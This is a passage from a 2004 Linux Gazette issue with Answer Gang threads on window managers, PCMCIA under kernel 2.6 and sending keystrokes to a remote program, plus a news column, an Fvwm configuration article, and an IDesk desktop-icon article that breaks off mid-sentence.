+ I  ThisWindow WindowStyle !Handles, !Title, !Borders
+ I  Maximize 100 100
+ I  Key z  A  SCM NoFullScreen

DestroyFunc NoFullScreen
+ I ThisWindow WindowStle Handles, Titles, Borders
+ I ThisWindow UpdateStyles
+ I Maximize 100 100
(!) [Kapil]
	Metacity+GNOME2: You can define the relevant key using the
	        window key bindings menu (there is no default binding).
		The relevant function is Toggle Maximize Window. Imagine
		the surprise on people's faces when they come and say
		"What! Are you running that pest-killer again? Give me a
		real desktop", you press a key and *wham* there is GNOME
		in all its glory (once it gets out of swap space that
		is...).
Caveats:
Yes. I know that all this does not reduce memory usage! On the other hand if you work/hack for long enough all that unused stuff should go into swap/disk so it shouldn't bother you.
Alternate Answer:
For those who really want to work 90% of the time the alternative is to run ratpoison with one of the frames containing an Xnest that runs the eye-candy window manager. There is one problem with this solution---no DRI for the eye-candy which means that GL screensavers and the like will not produce good results.
(!) [Rick] Surely no desktop is complete without the Moaning Goat Meter (which used to lurk^Wreside at http://www.xiph.org/mgm):

MGM, the Moaning Goat Meter, is the ultimate sixty-ton cast iron lawn
ornament for the desktops of today's hacker set: A gorgeous, highly
configurable load and status meter written entirely in Perl. Serious
pink-flamingo territory. For evil geniuses only.

Disclaimer: MGM will not get your whites whiter or your colors
brighter. It will, however, sit there and look spiffy while sucking
down a major honking wad of RAM.
A review on taint.org states: "Silly: The Moaning Goat Meter, by xiph.org -- a load meter written in a proper[1] programming language, and with an inexplicably spinning fish that stares at you.
Je suis desolé, desolé, that the Web pages for this procmeter3-like (but much prettier) mostly-ornamental system-monitoring widget have disappeared. The FAQ in particular was priceless, not to mention the pictures with those pink flamingos in them.

(?) Experimenting with window managers

From Ben Okopnik

Answered By: Thomas Adam, Ben Okopnik, Jay R. Ashworth, Heather Stern

One of the things that often puzzles new Linux users is the broad range of available window managers (WMs). After all, MS Wind0ws only has one (although several Linux WMs have been ported to The Dark Side)... what's a WM *for,* anyway?

(!) [Heather] Actually, in earlier versions of mswin, there was an occasional shareware offering or product that replaced the common widget set - one gave 3d-appearance - but it's rare as all heck, and since it replaced the common controls dialog, fraught with app incompatibility too. Most replacements (e.g. Norton Desktop for Windows, HP's NewWave) only changed out the Program Manager (in win3.x) and the current crop mostly replace only Explorer (in win9x). There is LiteStep (http://www.litestep.net), and at least one other whose name I don't recall.
Since I haven't used LiteStep myself, I don't know whether it replaces both aspects, or just Explorer. From the user's point of view it basically counts, since it changes the launching and theme mechanisms, which are the main visible aspects of a window manager.

(?) To quote Wikipedia http://wikipedia.org :

"A window manager is
software that controls the placement and appearance of application
windows under the X Window System". Most (but not all) WMs share a
common base of ideas - e.g., each window will usually have a top bar,
which will commonly have close/minimize/maximize buttons as well as a
menu button.  However, all WMs have different approaches to the task
described above - and some may fit your preferences and work habits far
better than others."

So, here's an easy way to experiment:

1) Make sure your system does not start X automatically. The easy way to do this is by setting the default runlevel in "/etc/inittab" to a "console-only" level - this is level 2 for most distros.

(!) [Jay] Note that while that characterization of runlevel 2 is correct, it's somewhat incomplete: the functional equivalent, in most distros, to runlevel 5 with X is runlevel 3, without, but with all the other network stuff which would usually be running.

(?) 2) Create a ".xinitrc" file in your home directory; this is a shell script that allows you to customize how X works - including the choice of window manager. Here's a template that you can adapt however you'd like later:

See attached template-xinitrc.sh.txt

You'll want to change the last two commands to start whatever WM you normally use, so that the default invocation of "startx" will use that. If, however, you wish to experiment with another WM, the process becomes very simple: just set the "WM" variable to the name of the manager you want (you do, of course, have to have it installed) and - voila, you're off and running. E.g., to try running X with "fvwm" as a WM, just type

WM=fvwm startx
at the console. Note that I launch two xterms (command windows) by default; this is obviously not a requirement, but I find them to be very useful in general.
(!) [Thomas] One other thing that users might like is the fact that you can also experiment with window managers, X stuff using 'Xnest'. Something I use is:

See attached xnesting-wm.bash.txt

Which then gives me an 800x600 Xserver within an Xserver. Incorporating your WM-selector means that it is invoked in the same manner as yours:
WM=fvwm innerwm
Then things change slightly to look at how X loads. -- Thomas Adam

(!) [Thomas] It's worthy of note that ~/.xinitrc is only read by startx, whereas ~/.xsession is read by graphical display managers, and startx when no ~/.xinitrc exists. But this out of context to your tip. :)
(!) [Ben] Explicitly so, since simply modifying ~/.xsession will not do anything useful here (and may, in fact, produce quite a train wreck.) And trying to actually change (or add) a WM to the [xkg]dm system is a bloody nightmare, for which I hope some evil bastard rots in hell. There are no instructions anywhere that I could find; the X startup mechanism itself involves at least twenty different shell scripts and sourced files, scattered through /etc/X11 and /usr/lib (I gave up after parsing the arcane syntax of that many); neither "/etc/alternatives/x-window-manager" nor "/etc/X11/default-display-manager" have any actual use or meaning; adding the name to 'SessionTypes' in "/etc/kde2/kdmrc", *where the WM choices are listed*, doesn't work... /und so weiter/, right to the point of the screaming meemies.
(!) [Thomas] Actually, they do. If we take xdm as the example here (although all DMs go through the same process), what happens is as soon as you press enter to login, the file /etc/X11/xdm/Xsession is sourced (sourced, for obvious reasons, as you are fully aware, Ben :))). This actually calls the main file /etc/X11/Xsession. The job of this file is to kickstart X, and sources the files in /etc/X11/Xsession.d
The files in this directory are structured similarly to how init files are -- they have a number prefix which denotes the order that they're to be sourced. Now, the debian bit that comes into play here (and which confuses many) is the part about "update-alternatives". Since it is at this point, that the alternative "x-termianl-emulator" is looked for, and launched. By default, this is an xterm.
Next to run, is a script that sets up ones xrdb database, so that any xresources that might have been defined for applications are sourced. Although if you're going to define your own, you must still add the following line to ~/.x{session,initrc}:
xrdb -merge ~/.Xdefaults
Following that, is the wrapper script that looks for a user-defined configuration file (~/.xsession), or whether we have to default back to a global one. They key to note here is that user-defined is looked for before global. If it is found, then a variable (STARTUP) is set accordingly, else the default is used.
When that has been done (I'll skip the boring stuff such as Xprint server running), the last scriot to run is an exec call is made to $STARTUP.
As to how "x-window-manager" is used, that is defaulted to for $STARTUP when a user config file is not found.
(!) [Ben] [snip] Thanks for detailing it (would be nice if this was in the docs somewhere), but - yep, been through all that. Lots of times. Trying to set it up to allow a choice of WMs just doesn't work for yours truly; there may be someone for whom it does, but that someone isn't me.
(!) [Thomas] Well, KDM and GDM are separate entities in themselves. Being the bloated pile of jelly they are, not only do they consume the PC, but they also like to do thing Their Way -- to the extent that GDM actually ignores ~/.xsession . And I have no idea how the hell KDM operates -- that's just a nightmare.
So I use xdm when I have to (really I only use it for the Xchooser part), otherwise it's startx all the way.
(!) [Ben] [Nod] I was conflating the three of them, but yeah - "xdm" isn't quite as bad as the others, and GDM has not actually eaten any small children while I was watching (although I've heard rumors.) KDM, now - that thing should not be let out on the streets, or should at least be heavily medicated, have a transmitter strapped to its ankle, and be continuously monitored by professionals armed with tasers and nets.
(!) [Thomas] And xdm does honour ~./.xsession, that much I assure you. If it ever gets ignored, the tip I can always suggest is that you treat it exactly as a shell-script -- actually give it a she-bang line, and chmod +x it.
(!) [Ben] Given *that,* I can just imagine some GNUbie trying to tweak this... they'd go running in blind terror - right back to their "comfortable" MSW environment, which may crash, burn, explode, and destroy their work with malicious intent but never requires them to hunt through dozens of files just to change one simple thing.
(!) [Thomas] Which is why I get them to create a ~/.xsession file, anyway.
(!) [Ben] If I actually wanted to choose a different WM every time, or at least have a choice presented to me, I'd launch "selectwm" and do it from there. Nice, simple, easy to configure and modify. In fact, when I have a range of similar WMs and want to compare them (as I recall, I did it when I was looking at ratpoison, larswm, ion, and some others), that's what I do.
(!) [Thomas] Yup. "selectwm" has been damned useful. One thing I used to do to xdm, was assign the function keys to various window managers. I still do, in fact. So that, rather than pressing enter, I'd press CTRL-F2 and have it launch 'twm', CTRL-F3, and have it launch 'fvwm', or whatever. Note that 'F1' by itself in xdm defaults to an xterm -- so-called "failsafe".

(?) Kernel 2.6 and PCMCIA troubles

From Antoun Kanawati

Answered By: Thomas Adam, John Karns.

Dear Answer Gang,

The problem is: "/etc/init.d/pcmcia start" reports 0 sockets being watched when use any 2.6 kernel other Mandrake 10.0's 2.6.3-7.

(!) [Thomas] My first suggestion at reading that is Mandrake, like RH (and SuSE to an extent) have patched that kernel to high heaven (read that as 'mangled') such that it is no longer a kernel... grr, stock kernela are evil.
(!) [John] It's been a while since I last dug around for info on the pcmcia subsystem, but last I looked at the pcmcia pkg docs from Hinds - it has been a while, maybe 18 months or more, there were some things that the stand-alone pcmcia pkg did better than the integrated kernel version. His recommendation was that in circumstances where there were problems, one should try compiling the kernel without the pcmcia options, and compile the pkg from source, and run it from a system init script. It might be worth taking a look to see if that situation still holds.

(?) I've had this problem with Fedora 2, Suse 9.1, and Manrdake 10. The only kernel that get my PCMCIA right is 2.6.3-7 from the Mandrake 10 distro.

This happens on two of my laptops, a fujitsu lifebook 765DX (Pentium 166MMX), and an NEC Versa LX (PII-233).

The other possibly related irritant is that "/etc/init.d/pcmcia stop" is not working right; more precisely, when I get the PCMICA card started, the card's lights go on and eth0 is brought up; when I stop the card, eth0 is brought down, but the card remains ON. So, if I reboot, even with kernel 2.6.3-7 mdk 10.0, the next "pcmcia start" fails to notice the two slots. If I power down and then boot, all works fine.

(!) [Thomas] If the pcmcia initscript is the same as it was in Mandrake 7.0 (which was my only fleeting contact with it) then that should actually be calling cardmgr . Cardmgr normally works just fine.
(!) [John] Yes, agreed. Instead of stopping the pcmcia service, try the command
"cardctl eject"
as root. Before I discovered the card mgrs eject command (back in the days of the 2.2 kernels), I used to stop the pcmcia service, and it would sometimes hang, and otherwise misbehave. I found the eject command to be a better option.

(?) To summarize: "/etc/init.d/pcmcia start" find 2 sockets and works with only one very specific kernel. The "stop" doesn't stop all the way.

I looked around the net for a while, but didn't find an answer.

I am guessing that this is one of those "older machine" things that require a slightly exceptional configuration clause somewhere.

(!) [Thomas] Actually, I would be more inclined to say that you should look at compiling your own kernel. Since it works with a specific kernel you can almost certainly rule out hardware issues. So the trick is to look at the specific working kernel's config file for clues. The config files for kernels should be in /boot as:
/boot/config-$(uname -r)
The $(uname -r) interpolates to the current running kernel's version, but the principle is the same -- the file name is /boot/config-<version> . If you can do the following for that kernel version:
grep -i pcmcia /boot/config-<ver>
And send it to us, that would help. Along with that, you should repeat that same command on a file for a kernel that does not work, for comparison.
If you think this is long winded, you'd be right. I would definitely look at compiling your own kernel. It's not that hard, and there's plenty of references to it, here's two:

(?) Pointers will be greatly appreciated. Thanks in advance.

(!) [Thomas] Hope that helps.

(?) Sending a keystroke to remote application

From Nick Urbanik

Answered By: Thomas Adam, Neil Youngman, Kapil Hari Paranjape

Dear Folks,

I am backing up my machine at work with Mondoarchive http://www.mondorescue.org A great program! I ran the program at work, so the terminal interface to the program is there, not here. My friend put in a new DVD into the DVD writer, and now, after everyone has gone home, I am looking at the log /var/log/mondo-archive.log (via ssh), which says:

I am about to burn DVD #11 of the backup set. Please insert DVD and press Enter.

My question: How can I send the "\r" to the remote application?

(!) [Neil] I don't think you can, unless you've arranged a suitable mechanism in advance.

(?) I can determine the process ID, I have full administrative control of the machine, but I realise that I don't know how to do this simple task! It seems like I should, and would be most interested if any of you Answer Gang people could offer any suggestions.

(!) [Neil] If you could it would be a security hole. I believe it might have been possible in older versions of X11 with the security turned off. If you find it is possible then you really need to do something about it.
If you want to be able to do this remotely then you can run the program in something like VNC or GNU screens, that will allow to detach from an X11 display or terminal session and reattach from somewhere else. If it wasn't started it in such an environment it's way to late to do anything about it now.
(!) [Thomas] Use 'expect'. It is why it was written. As an example:
#!/usr/bin/expect -f
# Created by Thomas Adam

# First startup the application in question
spawn <program_name> $arguments

# When we reach this prompt....
expect -re "Please insert DVD and press Enter"

# Send a carriage return
send "\r"

# Allow control of the program back to the user
interact
Clearly you will have to play about with it, but just save the file, chmod +x it, change the values in it. The only thing I am concerned about is the "inteact" statement, as it might not be needed. I am unfamiliar with the application, so you'll have to tinker with it.
You will need to install 'expect'.

(?) Yes, I have used expect briefly, but I do not understand how to apply it in this case. The application is already running, and I don't know how to send the keystroke to it.

If I restarted it, then ran it over the ssh session, then, well, I would be able to press enter here easily, but would then face the same problem at work; being unable to send a keypress to the application to the console from which it is being controlled.

(!) [Thomas] Tough. It cannot be done -- you need a program to talk to it. :) I am sure there is a way you can resume from a certain position... My best advice is to stop it, and use expect.
(!) [Kapil] In case the remote application is running in an X-window, you could
  1. install "rfb" or "x11vnc" on the remote machine.
  2. start x11vnc on the remote machine.
  3. install a vnc viewer on the local machine.
  4. start the vnc viewer on the local machine.
  5. make the appropriate changes to the remote application.
This is admittedly a very brief summary. You must also insert the step (a+b)/2 which consists of reading the documentation for vnc.
If you do not have the application running in an X-window but on the console then there is also a vnc server for the console somewhere...(mumbles and runs "apt-cache search vnc")...ah, there it is
	Package: linuxvnc
	Description: A VNC server to monitor a tty
	 With linuxvnc you can export your currently running text
	 sessions to any VNC client. So it can be useful, if you want to
	 move to another computer without having to log out and if
	 you've forgotten to attach a 'screen' session to it, or to help
	 a distant colleague to solve a problem.
If fd0 has been closed then you are truly without any option except kill <proc-number>. You are also stuck with an application that is making the mistake of waiting for a read without having an open input source!

(?) That looks like the solution! I thought it may be very difficult to do this without starting modoarchive in a screen session. I will investigate how to use this. Thank you.


This page edited and maintained by the Editors of Linux Gazette
Copyright © its authors, 2004
Published in issue 105 of Linux Gazette August 2004
HTML script maintained by Heather Stern of Starshine Technical Services, http://www.starshine.org/

Published in Issue 105 of Linux Gazette, August 2004

News Bytes

By Michael Conry

News Bytes

Contents:

Selected and formatted by Michael Conry

Submitters, send your News Bytes items in PLAIN TEXT format. Other formats may be rejected without reading. You have been warned! A one- or two-paragraph summary plus URL gets you a better announcement than an entire press release. Submit items to bytes@linuxgazette.net


Legislation and More Legislation


 Patents

The subject of software patents has been a frequent topic of discussion in this and other organs of the Free/Open-Source community. An indication of the problems that lie ahead if these issues are not satisfactorily resolved is provided by the current discussions surrounding Munich's migration from Windows to GNU/Linux. In spite of much campaigning by Microsoft, including visits by Steve Ballmer, the Munich authorities have been pursuing an Open Source IT strategy. However, one pro-Open-Source Munich alderman has pointed out that ongoing doubts about the current and future status of software patents could wreck the plans. Though his concerns are largely precautionary, Jens Muehlhaus is not the only party to see the importance of patents. Microsoft, for one, certainly believes that patents are a crucial tool with which to control the market. To this end, over the past years the company has trebled the number of patents it files annually. Equally, there is a growing awareness among the Free/Open-Source community of the issue, and of possible ways to confront the problem. While the American situation seems very hard to change (with defensive patenting being one of the more rational coping strategies) the European scenario is still quite malleable, which hopefully will encourage some constructive engagement in this very political process.


 French Licence - CeCILL

Three French public bodies, the ECA, the INRIA, and the CNRS, have published a new free/open-source software licence: CeCILL [ English translation]. The new licence aims to address some specific points of French law that the writers of CeCILL believe cause difficulties in the application of the GPL.


Linux Links

Project AMOS aims to automate reuse of open source code (a European project aimed at creating a searchable database to automate the reuse of free/open source software code).

Command line tips and trick

E-Voting, a challenge to the Open Source community

Mozilla and the future of the web

Creating games with Pygame

Sun moves away from Linux

Analysing network attacks by sorting through packets from your IDS.

Why to learn assembly language

Behind DragonFly BSD, a look at the new fork of FreeBSD 4.

Who writes Linux

Four alternative Linux window managers, Newsforge takes a look at life beyond KDE and Gnome: AfterStep, Enlightenment, IceWM and FVWM.

Video production with Linux, Part II

Real world Linux migration stories

DES to retire


News in General


 Mandrake Storms French Government, Catalonia's Homage to CATix

The French Ministry of Equipment has chosen Mandrakelinux Corporate Server to replace 1,500 Microsoft Windows NT servers in a national scale deployment.

In a similar trend, Barcelona city authorities have announced a plan to phase out current Windows NT installations in favour of CATix, a GNU/Linux localisation in Catalan.


Distro News


 Conectiva

Conectiva Linux has released version 10.0 of their GNU/Linux distribution.


 Debian

Debian Weekly News reports that Debian is increasing it's market share. Netcraft has reported data indicating that Debian shows market share gains among GNU/Linux distributions (Gentoo currently has the fastest percentage growth rate). Debian GNU/Linux is now running on more than 1 million web-facing hostnames.


 Feather

Feather Linux is a Knoppix-derived Linux distribution. It can run completely off a CD or a USB memory-key and uses less than 64Mb of space. It provides a selection of desktop-focused software. LinuxQuestions.org has recently added an officially recognized forum for the distribution


 Mepis

A (largely positive) review of Mepis Linux


 Progeny

Progeny Debian 2.0, Developer Edition Beta 1 has been released and is available for download. This release represents a sample implementation of Componentized Linux.


 Red Hat

Red Hat is reported to be preparing to sell a subscription service supporting an open-source Java application server.


 Turbo

Flexbeta has reviewed Turbo Linux 10f, the multi-media geared variant of Turbo Linux 10.


 Vidalinux

Vidalinux has released Vidalinux Desktop OS beta2, which is based on the 2.6.7-gentoo-r11 kernel.


Software and Product News


 PhoneGaim

Linux vendor Linspire has released PhoneGaim, a free software program that adds voice-over-IP functionality to the Linux-based Gaim instant messaging client.


 Maguma

Maguma Workbench is a cross-platform source-level editor, also known as an IDE (Integrated Development Environment). The product contains a debugger, internal and external previews, adjustable themes, class browser, new flexible layout, and more. As well as Linux, the product is available for Windows and Mac OSX.


 Motorola's Linux Smart Phone

LinuxDevices reports that US mobile phone customers will soon have the opportunity to by a Linux-based handset later this year, when operators begin offering a Motorola Linux/Java smartphone aimed at business professionals. The A780 will roll out globally in early Q4, reaching select US regions before 2005, according to Motorola.


Mick is LG's News Bytes Editor.

[Picture] Originally hailing from Ireland, Michael is currently living in Baden, Switzerland. There he works with ABB Corporate Research as a Marie-Curie fellow, developing software for the simulation and design of electrical power-systems equipment.

Before this, Michael worked as a lecturer in the Department of Mechanical Engineering, University College Dublin; the same institution that awarded him his PhD. The topic of this PhD research was the use of Lamb waves in nondestructive testing. GNU/Linux has been very useful in his past work, and Michael has a strong interest in applying free software solutions to other problems in engineering.

Copyright © 2004, Michael Conry. Released under the Open Publication license unless otherwise noted in the body of the article. Linux Gazette is not produced, sponsored, or endorsed by its prior host, SSC, Inc.

Published in Issue 105 of Linux Gazette, August 2004

Fvwm

By Thomas Adam

Introduction

Fvwm! I'm sure some of you remember it quite well as a window manager of the days past - and you'd be forgiven for thinking that it no longer existed. It is, perhaps, a shame that it has been over-shadowed by the newer, glitzier desktop managers such as KDE and GNOME, but I suppose that the times have changed. People are after more eye-candy than even before - right? Well, not me. While it may be true that we all like pretty things, often these things come with a sacrifice. The most noteworthy thing for me over the years has been that using KDE and GNOME requires a supercomputer with tons of RAM, while Fvwm remains fast as lighting on machines with even marginal resources. For those of us who wish to get full usage out of our existing hardware instead of chasing the ever-changing "latest and greatest" machinery with our hard-earned cash, software such as Fvwm can be the factor that makes the key difference.

What separates a window manager from a desktop environment is that the former does not have integrated applications such as file managers and utilities to tweak the overall environment. Instead, all such utilities are external - just as they should be. The job of a window manager is just that; it manages windows.

Fvwm was created by Robert Nation. It is based on code from 'twm' (Tom's Window Manager) which was at the time perhaps the only real window manager available. Frustrated with the lack of features and the fact that 'twm' was full of memory leaks, Rob began hacking on it; the result was that Fvwm was kick-started in early 1993. Rob had, in fact, already made a name for himself as the author of the popular terminal emulator rxvt, which is still used by a lot of people today.

What I intend to demonstrate here is how to start from a minimal configuration of Fvwm and work upwards, discussing how Fvwm operates and how to configure it to do various things. There is a lot to Fvwm, so this won't be quick - but I hope it will be interesting nevertheless.

Installation

Since Fvwm has been bundled with every distribution that I have used, chances that you have it anyway. You should not use Fvwm1, since this is old and is no longer supported by the developers. Currently, the stable version is 2.4.18 while the unstable version is 2.5.10. Unlike many classifications of stable/unstable, the unstable version of Fvwm has never crashed for me, so I can recommend using it. Indeed, most of what I will talk about over the next few months will rely on the features in this version, and that are absent in the 'stable' version.

As a side note to using pre-compiled binaries, depending on the distribution used, some features that I may mention might not be compiled in. Therefore, if you want to have all the features that I'll be discussing, you would be well advised to download the unstable version and compile it. There's plenty of helpful information in the README and INSTALL files.

Features of Fvwm

There are too many features to list, but as an overview of what Fvwm provides, here are some of the more interesting ones:

There is also session management support for those who want it.

Starting and Configuring Fvwm

Fvwm's configuration is best done on a per-user basis, although a global configuration is possible. When Fvwm loads, it looks for the following files and will use the first one it finds:

If no files are found, Fvwm loads with a default builtin menu. This can initially be used to create a basic ~/.fvwm/.fvwm2rc file, as shown by figure 1.

Fvwm startup
Figure 1: Fallback mode that Fvwm uses if no config files were found.

You can then reload Fvwm, and you'll have a bare-minimum config file. By default, Fvwm takes on the appearance of mwm and although mwm's style can be emulated completely, Fvwm's own internal style is to have raised borders and a raised title, as shown in figure 2.

Fvwm's initial config
Figure 2: Screenshot of the settings produced after the generated config.

You may well be thinking "yuck!" - and I wouldn't blame you. There are certain things about it that are hideous, I know. But everything you see in the screenshot is configurable. Of course, all actual window management features are supported; there are menus, button bars, etc. Let's take a closer look at what makes up a window.

A window is a window is a window

A window is a decorated screen frame containing the graphical interface of a program. There are several characteristics of a window, some of which are obvious and some not so obvious, all of which allow us to configure the window's appearance. The structure of a typical window usually contains the following:

A popular configuration is to have three buttons on the title bar. The leftmost one when clicked, pulls down a menu of choice that can be applied to the window. This is more or less the same as the decor in MS-Windows. The next button after that (moving right) iconifies the window, while the button next to that one maximises the window (as seen in Figure 3).

Sample Fvwm Window
Figure 3: A decorated window using the default Fvwm settings.

Fvwm allows up to a maximum of ten buttons on the window titlebar. These can be defined to perform a number of functions. I've yet to personally think of a reason why you would need to define all ten, but I'm sure some people do. There are two types of buttons that can be defined: vector buttons and pixmaps, the former of which are used by default. I'll come back to the difference later on, but for now we'll look at how the buttons are arranged and seen by Fvwm. As such, each button is numbered in turn.

+--------------------------------------------------------------------------+
| 1 3 5 7 9			   Title			 0 8 6 4 2 |
|--------------------------------------------------------------------------|
|									   |

Fig. 3 therefore shows that buttons 1,4 and 2 have been defined. I mentioned vector buttons earlier. These are "drawn" by Fvwm. Essentially, they're just coordinates of points used by Fvwm for specific functions. You can see a huge list of vector definitions here. You can also apply various definitions to the buttons as you see fit. The code for the buttons is defined within a decor. By default (as is the case here), if no decor has been defined, the builtin is used.

Defining Decors

A decor is a defined set of characteristics that can be applied to windows. Typically, they're suited for defining all the attributes we've looked at so far.

AddToDecor   fDecor
 + BorderStyle Simple
 + TitleStyle	   -- Raised
 + ButtonStyle All -- Raised
 + AddButtonStyle 1 Vector 5 25x40@1 25x60@1 75x60@0 75x40@0 25x40@1
 + AddButtonStyle 2 Vector 4 50x25@1 75x75@0 25x75@0 50x25@1
 + AddButtonStyle 4 Vector 4 50x75@1 25x25@1 75x25@1 50x75@0
 + ButtonStyle	  1 - Clear MWMDecorMenu
 + ButtonStyle	  2 - Clear MWMDecorMax
 + ButtonStyle	  4 - Clear MWMDecorMin

This code can be placed in the ~/.fvwm/.fvwm2rc file. This decor does a number of things. BorderStyle sets up the style of the border. The simple option tells Fvwm that you want the defaults. If you look closely at the border, you'll notice that the edges are cut into. These are the window handles that define how much of the edge is available for grabbing the window (to resize it, move it, etc.) TitleStyle can set a number of attributes; here, it is being used to give the tilebar a raised look, and the same is done to the buttons with the ButtonStyle command. AddButtonStyle adds to an existing style. Following that, the button number is specified (see diagram), and last are the vector definitions that you can replace with your own.

One aspect you must be aware of is that if you define a new button to be added to the titlebar, you must give it a mouse-binding, otherwise it will not display. I won't be covering mouse bindings just yet, but for now you can locate the following in the ~/.fvwm/.fvwm2rc file:

#   for the title bar buttons:
Mouse 0 1       A       Menu MenuFvwmWindowOps2 Close
Mouse 0 2       A       FuncFvwmMaximize
Mouse 0 4       A       Iconify

Adding your own definition is simple. Although nothing will be bound to the button, you can add below those definitions something like the following, replacing the number after "0" with the corresponding number of the button for which you have defined the vector:

Mouse 0 0	A	Nop

You'll have to restart Fvwm for the changes to be applied.

There is a huge number of options available for just these commands. For instance, you can define the Titlebar to be flat, by adding the following line:

TitleStyle -- Flat

If you add --flat to the end of your vector button definitions, the button takes on a sunken, rather than raised, appearance. You can also define button styles based on state, i.e. one for ActiveUp and ActiveDown. Border styles can also be set, so that, rather than a raised border, you can have sunken or flat ones.

As I mentioned earlier, pixmaps can also be used, in place of vector buttons. The same rules apply about defining the mouse-bindings from earlier. These are .xpm files that you can define to replace the buttons with images of your own. The style is similar to the one just defined:

ButtonStyle 2 Pixmap my_pixmap.xpm
ButtonStyle 4 \
  ActiveUp   (Pixmap activeup.xpm) \
  ActiveDown (Pixmap activedown.xpm) \
  Inactive   (Pixmap inactiveup.xpm)
  ButtonStyle 4 \
  InactiveDown Pixmap inactivedown.xpm

Here, Button 2 remains the same throughout all states, but Button 4 uses a different pixmap depending on the state. The button states are listed below:

To apply the decor that you create, you have to tell Fvwm about it. The following general line can be used, obviously replacing the name of the decor with whatever you called it. In the examples above it is fDecor:

Style *  UseDecor  fDecor

Next Month...

Obviously, this has been a cursory review of what a window is, and how to define the basic decor such as buttons and borders. There is a plethora of options that I have not covered just for these alone. Although somewhat cumbersome, the man page for fvwm contains all of these, and includes a lot of options in addition to what I have mentioned. Play around and experiment with defining buttons and vectors.

Next month, we'll take a look at defining menus, coloursets for windows, and some other style options.

Resources

Here's a list of resources for more Fvwm-related information:

FVWM's official site
Fvwm Decor collection
fvwm-themes site
An excellent and "modern" fvwm2rc file
Fvwm screenshots
Calmar's site about Fvwm
My own config file with screenshots

man fvwm


picture I write the recently-revived series "The Linux Weekend Mechanic", which was started by John Fisk (the founder of Linux Gazette) in 1996 and continued until 1998. I'm also a member of The Answer Gang.

I was born in Hammersmith (London UK) in 1983. When I was 13, I moved to the sleepy, thatched roofed, village of East Chaldon in the county of Dorset. I am very near the coast (at Lulworth Cove) which is where I used to work.

I first got interested in Linux in 1996 having seen a review of it in a magazine (Slackware 2.0). I was fed up with the instability that the then-new operating system Win95 had and so I decided to give it a go. Slackware 2.0 was great. I have been a massive Linux enthusiast ever since. I ended up with running SuSE on both my desktop and laptop computers.

While at school (The Purbeck School, Wareham in Dorset), I was actively involved in setting up two Linux proxy servers (each running Squid and SquidGuard). I also set up numerous BASH scripts which allowed web-based filtering to be done via e-mail, so that when an e-mail was received, the contents of it were added to the filter file. (Good old BASH -- I love it)

I am now 18 and studying at University (Southampton Institute, UK), on a course called HND Business Information Technology (BIT). So far, it's great.

Other hobbies include reading. I especially enjoy reading plays (Henrik Ibsen, Chekhov, George Bernard Shaw), and I also enjoy literature (Edgar Allan Poe, Charles Dickens, Jane Austin to name but a few).

I enjoy walking, and often go on holiday to the Lake District, to a place called Keswick. There are numerous "mountains", of which "Great Gable" is my most favourite.

I am also a keen musician. I play the piano in my spare time.

I listen to a variety of music. I enjoy listening to Rock (My favourite band is "Pavement" (lead singer: Stephen Malkmus). I also have a passion for 1960's psychedelic music (I hope to purchase a copy of "Nuggets" reeeeaaall soon).

Copyright © 2004, Thomas Adam. Released under the Open Publication license unless otherwise noted in the body of the article. Linux Gazette is not produced, sponsored, or endorsed by its prior host, SSC, Inc.

Published in Issue 105 of Linux Gazette, August 2004

How To Enable Desktop Icons for Lightweight Window Managers

By John Murray

About IDesk

Despite the enormous popularity of GNOME and KDE, many users elect to use lighter, simpler window managers instead of the full-blown desktop environments. And with good reason; the performance gains realised through using a fast, light WM - IceWm, Blackbox or Windowmaker for example - are often quite dramatic, especially on underpowered machines.

Most of these lightweight window managers lack the ability to display desktop icons, and for some people this isn't a problem. Others however, might find this a bit hard to get used to, especially if they've come from another desktop environment or OS that does use icons, and this is where IDesk comes in - it's a tool for managing icons on the root window.

There are a few ways to get icons onto your desktop; you could run Nautilus or kdesktop for example. There are disadvantages with these tools though; apart from their appetite for system resources they can take over your desktop and hijack mouse-clicks from your WM. In contrast with these, IDesk is light on memory usage and does nothing but manage your icons, so your WM will behave exactly as it should. And unlike some other light weight tools, IDesk is neither plain nor ugly, and supports eye-candy effects such as transparency. Here's the feature list as described on the IDesk website:

If you think this sounds good, perhaps you should check out some screenshots to see just how good a fast, lightweight desktop can look.

Getting and Installing IDesk

You can download the source from the IDesk site, plus there are binary packages available in RPM and deb formats. Installation for either format is straightforward.

Setup

Before you can run IDesk, you need an .ideskrc file in your home directory - you'll find a sample that you can copy and paste in the /usr/share/doc/idesk/README file. This file can be edited to customise IDesk's appearance and behaviour; the font and level of transparency for example. Here's my .ideskrc as an example:

table Config
  FontName: verdana
  FontSize: 12
  FontColor: #ffffff
  Locked: false
  Transparency: 0
  Shadow: true
  ShadowColor: #000000
  ShadowX: 1
  ShadowY: 2
  Bold: false
  ClickDelay: 200
  IconSnap: true
  SnapWidth: 55
  SnapHeight: 100
  SnapOrigin: BottomRight
  SnapShadow: true
  SnapShadowTrans: 200
  CaptionOnHover: false
end

table Actions
  Lock: control right doubleClk
  Reload: middle doubleClk
  Drag: left hold
  EndDrag: left singleClk
  Execute[0]: left doubleClk
  Execute[1]: right doubleClk
end

You'll also need a .idesktop folder in your home folder - idesk uses a small text file (known as a linkfile) to represent each icon, and these .lnk files live in this folder. Here's an example:

table Icon
  Caption: Gnumeric
  Icon: /usr/share/idesk/icons/gnumeric.png
  X: 31
  Y: 442
  Command[0]: gnumeric
  Command[1]: gedit ~/.idesktop/gnumeric.lnk
end 

The Command[0] and Command[1] lines refer to the left-click and right-click commands respectively. Don't worry about getting the X and Y values right; you can simply drag the icons into place and their positions will be remembered between sessions.

New users might also be interested in the idesk-extras package; it contains a set of png icons representing most common apps and tasks, as well as sample .ideskrc and .lnk files.

Starting

It's probably best that idesk is started for the first time from a shell prompt, so that any error messages will be visible. Once you're satisfied with the configuration, you can add the idesk & command to your window managers startup script.

Quirks and Bugs

Idesk is currently not being actively developed, and the latest version available is 0.56. Despite being at a beta stage, idesk has - for me at least - behaved perfectly, though others have reported some bugs and there are a couple of minor quirks to keep in mind. The first being that if you misconfigure one of the .lnk files - say by using an invalid co